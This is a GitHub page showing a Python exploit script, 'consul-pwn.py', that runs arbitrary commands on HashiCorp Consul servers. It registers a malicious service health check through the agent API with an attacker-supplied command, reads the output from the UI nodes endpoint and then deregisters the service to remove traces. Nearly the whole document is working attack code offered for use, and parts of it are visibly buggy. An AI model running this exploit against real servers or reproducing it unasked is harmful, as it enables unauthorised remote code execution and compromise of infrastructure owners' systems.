-
Notifications
You must be signed in to change notification settings - Fork 7
/
Copy pathconsul-pwn.py
125 lines (98 loc) · 4.21 KB
/
consul-pwn.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
#!/usr/bin/env python
#
#
# Author: random_robbie
import colorama
import sys
import os
import re
import json
import requests
from time import sleep
import base64
import argparse
from colorama import init, Fore, Back, Style
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
import urllib3
urllib3.disable_warnings()
init(autoreset=True)
# Configuration
session = requests.Session()
parser = argparse.ArgumentParser()
parser.add_argument("-s", "--server", required=True, help="Consule Server IP")
parser.add_argument("-c", "--command", required=True, help="RCE Command to execute")
args = parser.parse_args()
def remove_services(URL):
headers = {"Accept":"application/json, text/javascript, */*; q=0.01","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0","Referer":"http://"+URL+"/ui/","Connection":"close","Accept-Language":"en-GB,en;q=0.5","Accept-Encoding":"gzip, deflate","DNT":"1"}
response = session.put(""+URL+"/v1/agent/service/deregister/RCE", headers=headers, verify=False)
if response.status_code == 200:
print (Fore.GREEN + "[*] Payload One Removed [*]")
else:
print(Fore.RED + '[!] Unable To Remove Payload One')
response2 = session.put(""+URL+"/v1/agent/service/deregister/RCE", headers=headers, verify=False)
if response2.status_code == 200:
print (Fore.GREEN + "[*] Payload One Removed [*]")
else:
print(Fore.RED + '[!] Unable To Remove Payload One')
def grab_dc (URL):
headers = {"Accept":"application/json, text/javascript, */*; q=0.01","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0","Referer":"http://"+URL+"/ui/","Connection":"close","Accept-Language":"en-GB,en;q=0.5","Accept-Encoding":"gzip, deflate","DNT":"1"}
response = session.get(""+URL+"/v1/catalog/datacenters", headers=headers, verify=False)
if response.status_code == 200:
js = json.loads(response.content)
dc = js[0]
print (Fore.GREEN + "[*] Datacenter Chosen [*]")
return dc
else:
print(Fore.RED + '[!] Unable to parse DC\n')
exit();
def send_payload_one (URL,RCE):
payload = '''{
"ID": "RCE",
"Name": "RCE",
"args": [
"'''+RCE+'''"
],
"Interval": "15s",
"TLSSkipVerify": true,
"timeout": "10s",
"DeregisterCriticalServiceAfter": "10m"
}
'''
headers = {"Accept":"application/json, text/javascript, */*; q=0.01","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0","Referer":""+URL+"/ui/","Connection":"close","Accept-Language":"en-GB,en;q=0.5","Accept-Encoding":"gzip, deflate","DNT":"1"}
response = session.put(""+URL+"/v1/agent/service/register", data=payload, headers=headers, verify=False)
if response.status_code == 200:
print (Fore.GREEN + "[*] Payload One Sent [*]")
else:
print(Fore.RED + '[!] Payload One Failed\n')
exit();
def parse_payload_one(URL,DC):
paramsGet = {"dc":DC,"token":""}
headers = {"Accept":"application/json, text/javascript, */*; q=0.01","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0","Referer":""+URL+"/ui/","Connection":"close","Accept-Language":"en-GB,en;q=0.5","Accept-Encoding":"gzip, deflate","DNT":"1"}
response = session.get(""+URL+"/v1/internal/ui/nodes", params=paramsGet, headers=headers, verify=False)
if response.status_code == 200:
js = json.loads(response.content)
for p in js:
for Serv in p['Checks']:
if Serv['ServiceName'] == "RCE":
out = Serv['Output']
print (Fore.GREEN + "[*] RCE Results: "+out+" [*]")
return IAM
try:
URL = args.server
RCE = args.command
print (Fore.RED + "[*] By Default RCE is turned off in version 1.4.0 [*]")
DC = grab_dc (URL)
send_payload_one (URL,RCE)
print (Fore.GREEN + "[*] Sleeping 10 seconds to allow time for system to parse. [*]")
sleep (10)
IAM = parse_payload_one(URL,DC)
print (Fore.GREEN + "[*] "+IAM+" [*]")
remove_services(URL)
except KeyboardInterrupt:
print ("Ctrl-c pressed ...")
sys.exit(1)
except Exception as e:
print('Error: %s' % e)
print['data']
pass